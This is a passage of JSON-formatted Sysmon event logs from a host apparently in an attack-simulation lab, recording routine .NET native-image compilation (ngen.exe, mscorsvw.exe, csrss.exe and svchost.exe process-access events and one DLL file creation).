C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:22.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-001072CD0D00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:22.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-001072CD0D00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:22.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-001072CD0D00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:22.901\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001071710C00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:22.901","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001071710C00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:22.901\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001071710C00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:22.901","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001071710C00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:22.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-0010F2D00D00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:22.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-0010F2D00D00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:23.025\r\nProcessGuid: {90617006-42CE-5F2D-0000-0010F2D00D00}\r\nProcessId: 3960\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f78-0\\System.ComponentModel.Composition.Registration.dll\r\nCreationUtcTime: 2020-08-07 12:02:23.025","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:23.025","ProcessGuid":"{90617006-42CE-5F2D-0000-0010F2D00D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f78-0\\System.ComponentModel.Composition.Registration.dll","CreationUtcTime":"2020-08-07 12:02:23.025","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00106FD40D00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00106FD40D00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00106FD40D00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00106FD40D00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00106FD40D00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00106FD40D00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-0010FBD70D00}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 